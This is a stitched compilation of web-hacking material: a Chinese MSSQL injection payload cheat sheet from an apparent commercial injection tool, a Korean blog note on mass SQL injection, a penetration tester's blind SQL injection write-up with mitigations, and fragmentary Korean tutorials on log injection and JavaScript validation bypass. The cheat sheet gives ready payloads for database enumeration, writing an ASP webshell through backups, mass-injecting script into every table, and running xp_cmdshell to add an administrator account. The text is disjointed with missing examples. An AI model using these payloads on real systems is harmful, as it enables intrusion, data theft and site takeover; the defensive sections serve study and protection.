■获取数据库名

 and db_name()=0

 and db_name(0)=0

 and db_name(__i__)=0

 and quotename(db_name(__i__))=0

■获取用户名

 and user=0

■获取版本信息

 and @@version=0

■获取服务器名

 and @@servername=0

■获取服务名

 and @@servicename=0

■获取系统用户名

 and system_user=0

■一次性获取所有基本信息

 AnD (dB_NaMe(0)+cHaR(124)+uSeR+cHaR(124)+@@vErSiOn+cHaR(124)+@@sErVeRnAmE+cHaR(124)+@@sErViCeNaMe+cHaR(124)+sYsTeM_UsEr)=0

■一次性探测权限

 AnD (cAsT(iS_srvrOlEmEmBeR(0x730079007300610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x64006200630072006500610074006f007200)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x620075006c006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x6400690073006b00610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_srvrOlEmEmBeR(0x730065007200760065007200610064006d0069006e00)aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x7000750062006c0069006300) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006f0077006e0065007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006200610063006b00750070006f00700065007200610074006f007200) aS vArChAr)+cHaR(94)+cAsT(iS_mEmBeR (0x640062005f006400610074006100770072006900740065007200) aS vArChAr))=0

■获取数据库的数目

 AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm mAsTeR..sYsDaTaBaSeS)=0

■获取数据库文件名

 and (select top 1 filename from (select top __i__ filename from master..sysdatabases order by filename) t order by filename desc)=0

■同时获取数据库名和数据库文件名

 AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(nAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(filenAmE aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ nAmE,filenAmE FrOm mAsTeR..sYsDaTaBaSeS oRdEr bY nAmE) t oRdEr bY nAmE dEsC)=0

■获取数据库的表的数目

  and (select cast(count(1) as varchar)+char(9) from <数据库名>..sysobjects where xtype=0x75)=0

■获取数据库的表

 and (select top 1 name from (select top __i__ name from <数据库名>..sysobjects where xtype=0X75 order by name) t order by name desc)=0

 and (select top 1 quotename(name) from <数据库名>.dbo.sysobjects where xtype=char(85) AND name not in (select top __i__ name from <数据库名>.dbo.sysobjects where xtype=char(85)))=0

■获取表的字段的数目

 and (select cast(count(1) as varchar)+char(9) from <数据库名>..syscolumns where id=object_id('<表名>'))=0

■获取数据库表的字段

 and (select top 1 name from (select top __i__ name,id from <数据库名>..syscolumns where id=object_id('<表名>') order by name) t order by name desc)=0

 and (select col_name(object_id('<表名>'),__i__))=0

■获取满足条件的表的记录数

 AnD (sElEcT cAsT(cOuNt(1) aS nvArChAr(100))+cHaR(9) FrOm <数据库名>..<表名>)=0

■获取数据库的内容

 AnD (sElEcT ToP 1 rtrim(iSnUlL(cAsT(<列名1> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名2> aS nvArChAr(4000)),cHaR(32)))+cHaR(9)+rtrim(iSnUlL(cAsT(<列名3> aS nvArChAr(4000)),cHaR(32)))+cHaR(9) FrOm (sElEcT ToP __i__ <列名1>,<列名2>,<列名3> FrOm <数据库名>..<表名> oRdEr bY <排序列名>) t oRdEr bY <排序列名> dEsC)=0

■基于日志差异备份

--1. 进行初始备份

; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<临时文件名:e:\wwwroot\m.asp>' With Init--

--2. 插入数据

;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

--3. 备份并获得文件，删除临时表

;Backup Log <数据库名> To Disk = '<要生成的文件名:e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

■基于数据库差异备份

1. 进行差异备份准备工作

;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<临时文件名:0x633A5C617364662E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--

2. 将数据写入到数据库

;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

3. 备份数据库并作最后的清理工作

;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<最终需要备份出的文件名:0x633A5C617364662E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

■数据库插马(插指定数据库的指定表的满足条件的记录)

;update <数据库名>..<表名> set <字段名>=<字段名>+'<script>alert("有漏洞啊。")</script>' where <要满足的条件>--

■数据库批量插马(插所有可插入的字段和记录，危险！！请谨慎操作！！)

;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(<要插入的内容(0x编码形式)> aS vArChAr(200<此处长度应做相应修改>))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--

;DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,s yscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<要插入的内容>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor--

■执行命令行(无结果返回)

;exec master..xp_cmdshell 'net user name password /add & net localgroup administrators name /add'--

■恢复存储过程 xp_cmdshell

;Exec Master..sp_dropextendedproc 0x780070005F0063006D0064007300680065006C006C00;Exec Master..sp_addextendedproc 0x780070005F0063006D0064007300680065006C006C00,0x78706C6F6737302E646C6C--

■SQLServer 2005 开启和关闭 xp_cmdshell

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',1;RECONFIGURE;

关闭 xp_cmdshell

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell',0;RECONFIGURE;

■SQLServer 2005 开启和关闭 OpenDataSource/OpenRowSet

开启：

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

关闭：

;EXEC master..sp_configure 'show advanced options',1;RECONFIGURE;EXEC master..sp_configure 'Ad Hoc Distributed Queries',0;RECONFIGURE;

■SQLServer 2005 日志差异备份

alter database [testdb] set recovery full

declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup database __dbname__ to disk=@d with init--

drop table [itpro]--

create table [itpro]([a] image)--

declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--

insert into [itpro]([a]) values(__varchar(木马内容))--

declare @d nvarchar(4000) set @d=__nvarchar(文件名) backup log __dbname__ to disk=@d with init--

drop table [itpro] declare @d nvarchar(4000) set @d=0x640062006200610063006B00 backup log __dbname__ to disk=@d with init--

                                古木系统安全-管中窥豹 SQL注入工具

                                http://goomoo.cn

                                http://gzkb.goomoo.cn

                                http://www.gzkbsql.cn

                                QQ: 100194004 100194004

                                网易POPO: gzkbsql@163.com

최근 국내외 웹사이트들을 또 다시 괴롭히고 있는 Mass SQL 인젝션. 여타 Mass SQL 인젝션과는 달리 쿠키의 취약점을 악용하는 관계로 로그가 자세히 남지 않기 때문에 영문도 모른 채 속수무책으로 당하고 있는 웹사이트들이 많은 것으로 알고 있다.

현재 이 Mass SQL 인젝션 툴은 중국 내에서 상용으로 판매되고 있다고 한다. 아래는 이 Mass SQL 인젝션 툴을 판매하기 위한 목적으로 웹 상에 공개된 데모 시연 영상이다.

http://goomoo.s122.288idc.com/liah/demo/repeaterCookie.htm

화가 나더라도 끝까지 참고, 감상하시면 많은 참고가 되시리라 생각된다. 데모 시연 영상 중에서도 실제 Mass SQL 인젝션 시 웹 서버에서 주입되는 코드들과 그 과정을 유념해서 보시길…

 SWF 파일 다운로드 받기

ps2. 경로가 언제 짤릴지 모르는 관계로 SWF 파일만 따로 다운로드 제공합니다.

ps1. 아무튼 얘네들은 인터넷에서 격리시켜야 되는 거 아닌가… 암적인 존재들…

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.

The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.

When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.

So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.

We speculate that the underlying SQL code looks something like this:

SELECT fieldlist
  FROM table
 WHERE field = '$EMAIL';

Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later. 

When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

SELECT fieldlist
  FROM table
 WHERE field = 'steve@unixwiz.net'';

when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.

Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

SELECT fieldlist
  FROM table
 WHERE field = 'anything' OR 'x'='x';

Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).

But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

---

Your login information has been mailed to random.person@example.com.

---

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.

We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:

• "Your login information has been mailed to email"
• "We don't recognize your email address"
• Server error

The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.

So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:

SELECT fieldlist
  FROM table
 WHERE field = 'x' AND email IS NULL; --';

The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.

If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.

Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.

Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.

Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.

SELECT fieldlist
  FROM table
 WHERE email = 'x' AND userid IS NULL; --';

As a result of this process, we found several valid field names:

• email
• passwd
• login_id
• full_name

There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?

Finding the table name

The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.

A standalone query of

SELECT COUNT(*) FROM tabname

Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:

SELECT email, passwd, login_id, full_name
  FROM table
 WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';

We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' AND members.email IS NULL; --';

When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.

Finding some users

At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.

The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.

The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.

We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x' OR full_name LIKE '%Bob%';

Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.

Ultimately, we may only need one valid email address to leverage our way in.

Brute-force password guessing

One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.

We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'bob@example.com' AND passwd = 'hello123';

This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.

This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.

The database isn't readonly

So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.

The most drastic example is:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x'; DROP TABLE members; --';
  -- Boom!

The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.

This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.

Adding a new member

Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.

This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
        INSERT INTO members ('email','passwd','login_id','full_name') 
        VALUES ('steve@unixwiz.net','hello','steve','Steve Friedl');--';

Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:

1. We might not have enough room in the web form to enter this much text directly (though this can be worked around via scripting, it's much less convenient).
2. The web application user might not have INSERT permission on the members table.
3. There are undoubtedly other fields in the members table, and some may require initial values, causing the INSERT to fail.
4. Even if we manage to insert a new record, the application itself might not behave well due to the auto-inserted NULL fields that we didn't provide values for.
5. A valid "member" might require not only a record in the members table, but associated information in other tables (say, "accessrights"), so adding to one table alone might not be sufficient.

In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.

A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.

We ended up going down a different road.

Mail me a password

We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.

From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:

SELECT email, passwd, login_id, full_name
  FROM members
 WHERE email = 'x';
      UPDATE members
      SET email = 'steve@unixwiz.net'
      WHERE email = 'bob@example.com';

After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.

We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:

From: system@example.com
To: steve@unixwiz.net
Subject: Intranet login

This email is in response to your request for your Intranet log in information.
Your User ID is: bob
Your password is: hello

Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.

We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.

We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.

Other Approaches

In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.

We are also aware that not all approaches work with all databases, and we can touch on some of them here.

Use xp_cmdshell

Microsoft's SQL Server supports a stored procedure xp_cmdshell that permits what amounts to arbitrary command execution, and if this is permitted to the web user, complete compromise of the webserver is inevitable.

What we had done so far was limited to the web application and the underlying database, but if we can run commands, the webserver itself cannot help but be compromised. Access to xp_cmdshell is usually limited to administrative accounts, but it's possible to grant it to lesser users.

Map out more database structure

Though this particular application provided such a rich post-login environment that it didn't really seem necessary to dig further, in other more limited environments this may not have been sufficient.

Being able to systematically map out the available schema, including tables and their field structure, can't help but provide more avenues for compromise of the application.

One could probably gather more hints about the structure from other aspects of the website (e.g., is there a "leave a comment" page? Are there "support forums"?). Clearly, this is highly dependent on the application and it relies very much on making good guesses.

Mitigations

We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.

Sanitize the input

It's absolutely vital to sanitize user inputs to insure that they do not contain dangerous codes, whether to the SQL server or to HTML itself. One's first idea is to strip out "bad stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them.

The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "bad stuff" are unlikely to be successful.

Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. Since - in our example - an email address can contain only these characters:

abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+

There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database.

Sidebar on email addresses

---

It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.

The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.

Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.

---

Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN):

SELECT fieldlist
  FROM table
 WHERE id = 23 OR 1=1;  -- Boom! Always matches!

In practice, however, this approach is highly limited because there are so few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.

Escape/Quotesafe the input

Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field.

One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious - but wrong! - technique of preprocessing every string to replicate the single quotes:

SELECT fieldlist
  FROM customers
 WHERE name = 'Bill O''Reilly';
  -- works OK

However, this naive approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits \' to escape a quote, so after input of \'; DROP TABLE users; -- is "protected" by doubling the quotes, we get:

SELECT fieldlist
  FROM customers
 WHERE name = '\''; DROP TABLE users; --';
  -- Boom!

The no_no_no_expression '\'' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer.

Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely.

Some examples are the MySQL function mysql_real_escape_string() and perl DBD method $dbh->quote($value).

These methods must be used.

Use bound parameters (the PREPARE statement)

Though quotesafing is a good mechanism, we're still in the area of "considering user input as SQL", and a much better approach exists: bound parameters, which are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders - a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form.

Later, this prepared query is "executed" with a list of parameters:

Example in perl

$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");

$sth->execute($email);

Thanks to Stefan Wagner, this demonstrates bound parameters in Java:

Insecure version

Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
                             + formField); // *boom*

Secure version

PreparedStatement ps = connection.prepareStatement(
    "SELECT email FROM member WHERE name = ?");
ps.setString(1, formField);
ResultSet rs = ps.executeQuery();

Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks.

There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application.

Limit database permissions and segregate users

In the case at hand, we observed just two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a database connection with the most limited rights possible: query-only access to the members table, and no access to any other table.

The effect here is that even a "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues.

Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights.

It should go almost without saying that sa rights should never be used for any web-based application.

Use stored procedures for database access

When the database server supports them, use stored procedures for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly).

By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit).

For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain.

Note: it's always possible to write a stored procedure that itself constructs a query dynamically: this provides no protection against SQL Injection - it's only proper binding with prepare/execute or direct SQL statements with bound variables that provide this protection.

Isolate the webserver

Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things.

For instance, putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder.

Configure error reporting

The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved.

This information is useful to developers, but it should be restricted - if possible - to just internal users.

Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.

We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.

This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.

But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.

Thanks to David Litchfield and Randal Schwartz for their technical input to this paper, and to the great Chris Mospaw for graphic design (ⓒ 2005 by Chris Mospaw, used with permission).

How to add validation logic to HttpServletRequest

   public class ValidationFilter implements Filter {
       public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
               chain.doFilter(new ValidatingHttpRequest( (HttpServletRequest)request ), response);
       }
   }

+ Indicates a space (spaces cannot be used in a URL). %20
# Indicates bookmarks.     %23
% Specifies special characters.    %25
& Separator between parameters specified in the URL. %26
/ Separates directories and subdirectories.  %2F
? Separates the actual URL and the parameters.  %3F

MSSQL : CHAR(숫자)

ORACLE : CHR(숫자)

Log Injection

log injection이란 sql injection처럼 파라미터를 통해 로깅을 조절하는 방법을 말합니다

보통 웹 어플리케이션에서 log4j 등을 이용해 파일에 로깅을 합니다

일반적으로는 장애 발생시 에러 추적을 위해 사용됩니다

하지만 데이터 유실시 복구 방침으로 로깅을 하기도 하고요, 그냥 말 그대로 그냥 로깅을 하기도 하지요 또한 로그 파일을 파싱하여 무언가 통계를 내기도 합니다(웹CRM)

일반적으로 로그인에 대한 로깅을 파일에 다음과 같이 합니다 (로그인예가 아니더라도..)

로그가 정상적으로 기록된다면 아마 다음과 같은 형태가 될겁니다

그렇다면 로그인시 다음과 같은 문자열을 입력했으면 어떻게 될까요?

그럼 로그 결과는 다음과 같이 출력됩니다

붉은색 부분이 사용자가 입력한 부분이죠

여기서는 간단한 예를 들었습니다만 여러가지면으로 활용이 가능할 겁니다

로깅파일을 100% 신뢰할 수 없다는 것이지요 ^^

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

1. 시작하기

여러분들은 사용자가 입력한 값에대해 어느정도 검증을 하는지요?

사용자 값을 이것저것 따지고 여러가지 유효성을 체크할려면 아주 귀찮은 일이 아닐수 없습니다

그중에 하나가 웹브라우져에서 실행되는 자바스크립트로 체크하는 방법이 있는데 비지니스 로직이 조금 복잡할때는 자바스크립트로 도배를 하는 경우도 종종 있지요

유효성 검증하는일 저도 정~~말 싫어합니다 하지만 해야 합니다 ㅠ.ㅠ

그럼 어디까지 그 유효성을 체크해야 할까요? 자바스크립트로만 체크하면 될까요?

처음 웹프로그래밍을 할때는 저도 자바스크립트로만 입력값을 검증하면 되는줄 알았습니다

한마디로 몰랐죠

하지만 이제는 알기때문에 자바스크립트뿐만 아니라 서버쪽에서도 동일하게 체크해 주어야 합니다

사용자가 입력한 값이 얼마나 무서운지는 앞의 1탄, 2탄의 강좌를 통해 어느정도는 감을 잡으셨으리라 생각하고 이번 강좌에서는 왜 서버쪽에서도 체크해야 하는지!에 대해 간략히 알아보겠습니다

2. 자바스크립트 체크

입력값의 자리수가 13자리인지 체크하여 맞으면 submit을 만약 그렇지 않다면 정상적인 입력값을 요구하는 입력갑검사 로직이 있다고 가정하겠습니다 그리고 서버쪽에서는 꼭 13자리가 넘어와야 정상적인 처리를 할수 있다고 하겠습니다

그럼 아래와 같은 간단한 코드가 나올겁니다

http://www.jakartaproject.com/html/input.html

 실제 웹 브라우져에서 보면 아래와 같습니다

"33" 이라는 두자리 수만 입력하니 역시나 재입력을 요구하는 alert창이 떳습니다 (가끔 깜짝깜짝 놀라죠 -,-)

그럼 정상적으로 "1111111111111" 의 입력값 13자리를 입력해 보겠습니다

그리고 이 값은 process.jsp 라는곳에서 파라미터로 받아 아래와 같이 처리합니다

코드는 간단하게 그 입력값과 레퍼러 값을 보여주겠습니다

http://www.jakartaproject.com/html/process.jsp

request.getHeader("referer")는 헤더정보에서 referer값을 가져오는 함수로, 이전 페이지 주소값을 가져옵니다

그럼 화면은 아래와 같이 나옵니다

자 정상적으로 처리되었습니다

3. 자바 스크립트 우회

